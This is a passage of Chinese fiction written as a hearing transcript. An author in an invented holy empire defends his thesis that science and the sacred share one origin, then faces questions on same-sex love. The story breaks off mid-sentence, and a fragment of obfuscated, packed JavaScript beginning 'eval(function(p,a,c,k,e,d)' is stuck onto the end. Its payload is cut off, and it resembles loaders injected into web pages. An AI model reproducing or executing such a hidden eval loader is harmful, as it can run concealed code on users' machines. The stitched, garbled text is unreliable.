作人，根据会议长方才的提问，你是认为神的名字不配正式出现吗？神只能够暗示吗？
著作人：这位朋友，很多场合我们确实不配称呼神的名字而只能暗示祂的存在，我想这很常见。
弗里德里希·考夫曼：诡辩论者！
著作人：会议长，我想回答您方才的提问——我认为您的指控是错误的，我并非没有在论文中提到神，恰恰相反，我通篇都提到了神的存在。
（喧哗）
会议长：肃静——著作人，你确认你方才的发言吗？
著作人：是的。
会议长：审查会所有教授都看过你的论文，我必须否认你方才言论的真实性，鉴于此——
著作人：会议长，请允许我完成我的发言。
著作人：诸位，我想很多人都会认为我的论文通篇并未提到神，而只提到了所谓“纯科学”，但我今日站在这里，我想对此做出的解释是——科学与神圣同源。
（教授席出现讨论）
著作人：在《玫瑰经》中，我们用魔鬼来诠释疾病——这其实正是一种近似于科学的认知方法。无论是玫瑰经中关于神的故事还是现代科学，本质上都是在借助符号来解释某种因，以及它导致的果：我们可以说魔鬼导致疾病，也可以说误食了病源菌导致腹泻。这两种表达都呈现了一种具有因果关系的原型概念，在认知的框架上，它们是相同的。
著作人：又或者从词源的意义出发——让我们追溯“科学”的词根，它最原始的含义为“知识”或“理解”。而这恰恰也是“神圣”一词的含义，我们创造它，正是为了获取神的知识从而理解神。
著作人：在古代，最优秀的科学家往往出自圣廷，他们通过研究自然秩序来获取知识，从而理解神的创造。正是希望诠释神圣，这才诞生了科学。因此，“科学”的词源本身就包含着神圣之意，科学从诞生之初就在作用于神圣用途，每当我们提到“科学”之时其实都是在呼唤古老的神圣之名，我们为什么要用一分为二的眼光看待科学与神圣？
著作人：[此处著作人之发言侵犯圣廷与帝国条约，保密等级较高，可向相关部门提交查看申请，本文件不予收录]
著作人：诸位，我认为科学与神圣同源，科学本身就蕴含了无以复加之神圣——以上种种，正是我主张我在论文中始终提及了神圣的原因所在。难道在座诸位认为科学是神圣的私生子吗？以至于提起孩子时必须反复提及母亲？提及科学就必须重申神圣？难道它们之间的关系不是不证自明的吗？
汉斯·弗里希：会议长，我请求对著作人进行提问。
[汉斯·弗里希，帝国大学历史教授。专注于研究帝国的形成及其发展历程。其代表作《帝国的根基》详细论述了神圣帝国在西大陆的历史地位演进]
会议长：允许提问。
汉斯·弗里希：著作人，我觉得你在此处进行了不恰当的比喻，提及孩子时自然不必反复提及母亲，但他的姓氏、他的家徽、他的父亲是有必要反复提及的，否则我们如何判断一个陌生人的出身？又如何知道应该以何种阶层的礼仪对待刚刚认识的朋友呢？同理，神圣应当是科学的父亲，在提及科学之时，自然有必要提及神圣的存在！
（掌声响起）
著作人：教授，您应当知道玫瑰经中只有神的母亲，即圣母，圣母吃下苹果诞育了神，自始至终，父亲都是不存在的。
（有人发出笑声）
会议长：肃静——著作人，审查会需要对你刚刚关于科学的发言进行复议，本议程暂时进入第二阶段：你如何解释你在论文第三章“关于情欲”中提到的同性情感论调？你是否明确支持同性情感？
著作人：我想帝国法典对于战友之爱有明确的规定，会议长。
会议长：著作人，帝国法典对“战友之爱”的规定中明确要求至少其中一方为军人身份，恕我直言，你并未在论文中践行此规范。
弗里德里希·考夫曼：并不是所有男人都会是战士！更别提女人了！
会议长：肃静！
著作人：会议长，请容我提问，我感到非常奇怪，从议程开始就存在着一种二元论倾向，就像方才部分听众一定要将神圣和科学一刀两断——难道不是每个男人身上都会存在女性烙印吗？为什么一定要将双方彻底一分为二？
会议长：著作人，你认为男人身上存在着女性烙印？
著作人：是的。
会议长：如何解释？
著作人：会议长，我想您一定有太太和女儿吧，至少有女佣？您的生活能够缺了她们任何一方依然正常运转吗？
会议长：哦，如果
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,S